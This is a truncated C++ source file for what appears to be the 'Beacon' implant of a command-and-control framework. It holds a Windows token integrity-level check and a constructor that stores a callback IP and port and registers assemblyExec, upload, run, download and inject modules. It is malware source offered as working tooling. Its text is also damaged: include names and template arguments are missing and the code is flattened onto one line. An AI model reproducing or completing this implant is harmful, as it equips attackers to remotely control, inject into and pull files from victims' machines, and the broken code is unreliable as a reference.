#include "Beacon.hpp" #include #ifdef __linux__ #include #include #include #include #elif _WIN32 #include #include #define INFO_BUFFER_SIZE 32767 #define ENV_VAR_STRING_COUNT (sizeof(envVarStrings)/sizeof(TCHAR*)) typedef ModuleCmd* (*constructProc)(); #pragma comment(lib, "Wtsapi32.lib") #endif using namespace std; #ifdef __linux__ #elif _WIN32 enum IntegrityLevel { INTEGRITY_UNKNOWN, UNTRUSTED_INTEGRITY, LOW_INTEGRITY, MEDIUM_INTEGRITY, HIGH_INTEGRITY, }; IntegrityLevel GetCurrentProcessIntegrityLevel() { HANDLE hToken = NULL; BOOL result = false; TOKEN_USER* tokenUser = NULL; DWORD dwLength = 0; OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken); DWORD token_info_length = 0; if (::GetTokenInformation(hToken, TokenIntegrityLevel, nullptr, 0, &token_info_length) || ::GetLastError() != ERROR_INSUFFICIENT_BUFFER) { return INTEGRITY_UNKNOWN; } auto token_label_bytes = std::make_unique(token_info_length); TOKEN_MANDATORY_LABEL* token_label = reinterpret_cast(token_label_bytes.get()); if (!::GetTokenInformation(hToken, TokenIntegrityLevel, token_label, token_info_length, &token_info_length)) { return INTEGRITY_UNKNOWN; } DWORD integrity_level = *::GetSidSubAuthority( token_label->Label.Sid, static_cast(*::GetSidSubAuthorityCount(token_label->Label.Sid) - 1)); if (integrity_level < SECURITY_MANDATORY_LOW_RID) return UNTRUSTED_INTEGRITY; if (integrity_level < SECURITY_MANDATORY_MEDIUM_RID) return LOW_INTEGRITY; if (integrity_level >= SECURITY_MANDATORY_MEDIUM_RID && integrity_level < SECURITY_MANDATORY_HIGH_RID) { return MEDIUM_INTEGRITY; } if (integrity_level >= SECURITY_MANDATORY_HIGH_RID) return HIGH_INTEGRITY; return INTEGRITY_UNKNOWN; } #endif Beacon::Beacon(const std::string& ip, int port) { m_ip = ip; m_port = port; m_beaconHash = random_string(SizeBeaconHash); m_aliveTimerMs = 1000; srand(time(NULL)); #ifdef __linux__ std::unique_ptr assemblyExec = std::make_unique(); m_moduleCmd.push_back(std::move(assemblyExec)); std::unique_ptr upload = std::make_unique(); m_moduleCmd.push_back(std::move(upload)); std::unique_ptr run = std::make_unique(); m_moduleCmd.push_back(std::move(run)); std::unique_ptr download = std::make_unique(); m_moduleCmd.push_back(std::move(download)); std::unique_ptr inject = std::make_unique(); m_moduleCmd.push_back(std::move(inject)); std::unique_ptr